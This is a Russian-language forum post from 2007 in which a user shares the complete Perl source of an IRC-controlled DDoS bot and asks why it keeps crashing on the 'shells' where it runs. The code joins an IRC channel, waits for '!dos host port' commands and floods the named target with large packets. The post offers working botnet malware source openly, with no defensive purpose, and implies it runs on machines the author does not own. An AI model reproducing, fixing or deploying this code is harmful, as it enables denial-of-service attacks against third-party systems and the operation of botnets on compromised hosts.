проблема perl irc bot

Discussion in 'Болталка' started by x-treem, 6 May 2007.

  1. x-treem

    x-treem Elder - Старейшина

    Joined:
    8 Nov 2006
    Messages:
    130
    Likes Received:
    16
    Reputations:
    0
    вот значит писал ддос бота, управляемого через ирку.

    просто набросал по быстренькому.
    проверить, реально это или нет.
    на моей машине он весит довольный долгое время.
    но вот на шеллах, вылетает очень часто. а если некоторые остаются, то при начале ддоса, всё равно вылетают(
    значит вот весь код, гляньте, может что напортачил.

    Code:
    #!/usr/bin/perl
    
    
    $irc_server = "asd";
    $irc_port = "6667";
    $irc_nick = "botest".int(rand 999999999);
    $irc_ident = "botest".int(rand 999999999);
    $irc_user = "botest".int(rand 99999999999);
    $irc_chan = "#asd";
    $irc_max_answ = "70000";
    $show_answer = 1;
    
    
    use IO::Socket;
    print " [!] Connect to $irc_server...\n";
    $socket = IO::Socket::INET->new("$irc_server:$irc_port") or die " [E] Can't connect to $irc_server\n"; 
    print " [+] Conneced OK.\n";
    print " [!] Send NICK...\n";
    $socket->send("NICK $irc_nick\n") or die " [E] NICK not sending!\n";
    print " [+] Nick sending.\n";
    print " [!] Send USER...\n";
    $socket->send("USER $irc_ident 0 * :$irc_user\r\n") or die " [E] USER not sending!\n";
    print " [+] USER sending.\n";
    print " [!] Joining channel $irc_chan...\n";
    $socket->send("JOIN $irc_chan\n") or die " [E] Can't joined to irc_chan!\n";
    print " [+] Joined to $irc_chan.\n";
    
    
    
    while ($socket->recv($answer, $irc_max_answ)==true){ 
    
    if ($answer =~ /^:(\S+)!(\S+)\@(\S+)\sKICK\s(\S+)\s(\S+)\s:(\S+)/) {
    if ($5 eq $nick){
    $socket->send("JOIN $4\n") or die "Can't send help message\n";
    }
    }
    
    
    
    if ($answer =~ /^PING\s:/){
    $socket->send("PONG $irc_server\n")
    or die "Can't send PONG repply\n"; 
    }else{
    
    }
    
    if ($answer =~ /^:(\S+)!(\S+)\@(\S+)\sPRIVMSG\s(\S+)\s:[!](\S+)/) {
    if ($5 eq "dos"){
    $tmp_str = "\!dos ";
    $blah = $answer;
    ($blah, $blah3) = split(/$tmp_str/, $answer);
    $tmp_str= "dos\!";
    ($bla, $bla1) = split(/$tmp_str/, $blah3);
    &dos;
    }
    }
    
    #if ($show_answer eq 1){print $answer;}
    
    }
    
    sub dos {
    $rezb = $bla;
    chomp($rezb);
    print $rezb."-";
    ($dserv, $dport) = split(/ /, $bla);
    
    
    $packet = "x"x8000;
    $dsocket = IO::Socket::INET->new("$dserv:$dport");
    if ($dsocket){
    $socket->send("PRIVMSG $irc_chan :Dosing $dserv $dport!\n");
    for ($i=0; $i<999; $i++){ 
    $dsocket->send("$packet");
    }
    close($dsocket);
    $socket->send("PRIVMSG $irc_chan :Dosing $dserv $dport ending!\n")
    }else{$socket->send("PRIVMSG $irc_chan :Can't Dos $dserv $dport!\n");
    }
    }
    запускал
    Code:
    perl ods.pl&